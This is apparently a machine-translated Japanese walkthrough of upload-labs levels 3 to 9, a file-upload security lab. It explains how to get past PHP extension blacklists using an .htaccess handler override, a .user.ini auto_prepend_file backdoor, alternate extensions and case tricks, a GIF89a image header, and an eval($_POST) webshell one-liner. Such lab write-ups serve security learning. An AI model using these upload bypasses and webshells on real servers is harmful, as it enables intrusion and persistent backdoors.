upload-labs pass3-9


文書ディレクトリ
  • pass03
  • pass04
  • pass05
  • pass06
  • pass07-09

  • pass03
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array('.asp','.aspx','.php','.jsp');
            $file_name = trim($_FILES['upload_file']['name']);
            $file_name = deldot($file_name);//         
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //     
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//     ::$DATA
            $file_ext = trim($file_ext); //    
    

    ブラックリストであることが判明したので、接尾辞を変更することができます.php3 .phtml等
    同時にコードもファイル名を変更(コードは省略)し、パッケージをつかむと新しいファイル名が得られます
    pass04
     $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
    

    ブラックリストフィルタリング:特にphpxのような接尾辞名を見て、それから.ini,.htaccessこの2つは漏れていませんか?
    まず正常な画像を1枚アップロードして、それから使います.htaccessは内容を上書きします:
    <FilesMatch "webshell.PNG">
    SetHandler application/x-httpd-php
    </FilesMatch>
    

    詳細についてhtaccessはApacheにしか使えない試みを参考にしました
    もう1つの方法は、apacheが右から左に解析する特性のため、shellなどのブラックリスト検出を迂回するために、知らない接尾辞をアップロードすることができる.php.aaaaa、このようにブラックリストの接尾辞を迂回してファイルを成功裏にアップロードすることができて、またapacheの特性のため、phpで解析することに成功することができます
    pass05
    ブラックリストで、他は4と同じですが、今回のブラックリストは少ないです.iniだからuser.を使うことを考えますini SUCTF 2019 CheckIn
    PHPの中に面白いものがあります.user.ini、ちょっと似ています.htaccessファイル、PHPは各ディレクトリの下でINIファイルをスキャンします.user.Iniファイルはバックドアを隠す効果を実現します
    はい.user.iniではPHP_が認識できますINI_PERDIRとPHP_INI_USERモードのINI設定PHP_についてINI_*全部で4種類あります.
  • PHP_INI_USERは、ユーザのスクリプトおよび.user.ini中設定
  • PHP_INI_PERDIRはphp.ini,.htaccessまたはhttpd.confで設定
  • PHP_INI_SYSTEMはphp.iniまたはhttpd.confで設定
  • PHP_INI_ALLはどこでも
  • を設定できる.
    phpを調べるIni構成項目マニュアル:
    コンフィギュレーションアイテム:auto_prepend_file auto_prepend_file
    このコンフィギュレーション・アイテムはphpファイルに実行前に指定したファイルを含めるようにします.このコンフィギュレーション・アイテムを使用すると、自分のバックドアを隠すことができます.
    実行するファイルの前に自動的に含まれるファイルを指定します.ファイルの前にrequire()関数が呼び出されたのと同じです.そしてauto_append_fileは似ていますが、ファイルの後ろに含まれています.使い方は简単で、直接书きます.user.ini:
    auto_prepend_file=test.jpg
    

    では、このディレクトリの下のファイルにアクセスするとtestが含まれます.jpgリファレンス記事リファレンス記事2
    upload-labsには他のフィルタリングはありませんが、様々な試合問題の中には、SUCTFという問題があるに違いありません.フィルタリングして、画像の内容検出(ファイルの頭を迂回する)を増やして、文章の末尾は本文についてまとめます.pass 05の場合:まず1つアップロードできます.user.iniに入るとphpコードを含むピクチャ(接尾辞を変更する)を解析するために使用され,制限を迂回する目的を達成することができる.
    プロセス:(1)1枚の画像(2)をアップロードする.user.iniファイル.内容:auto_prepend_file=2.png(この文でいい)(3)アクセス:http://IP/upload/2.png/xx.php(ディレクトリに存在するphpファイル)
    もちろん、包丁の直接リンクのほかに、命令を少し学ばなければならないので、できないことがある.
    SUCTFに戻ります==1.フィルタリングの迂回
    <script language=”php”>xxx</script>
    <% xxx %>
    <? xxx ?>
    
    <script language="php">eval($_POST['a']);</script>
    

    2.exif_imagetype()関数は、ファイル幻数検出によりファイルヘッダが増加したり、通常のピクチャの下にコードを直接貼り付けたりする(ピクチャ馬)最も簡単なのは、ピクチャヘッダ増加GIF 89 aである
    はい.user.iniも同様に、+ファイルヘッダを必要とします!!(結局アップロードするときはチェックしなければなりません)総じて参考記事がとても上手に書けました!
    pass06
    やはりブラックリストの問題は大文字と小文字を考慮していません
    $file_ext = strtolower($file_ext); //     
    

    pass07-09
    まず、比較的完全な迂回は次のようになります.
      $file_name = trim($_FILES['upload_file']['name']);
            $file_name = deldot($file_name);//         
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //     
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//     ::$DATA
            $file_ext = trim($file_ext); //    
    

    pass 07-pass 09については上記のコードが不完全な点がある7:欠落空8:欠落削除末尾の点9:欠落::$DATAだからファイルについてphp、最後に何かを追加して迂回することができます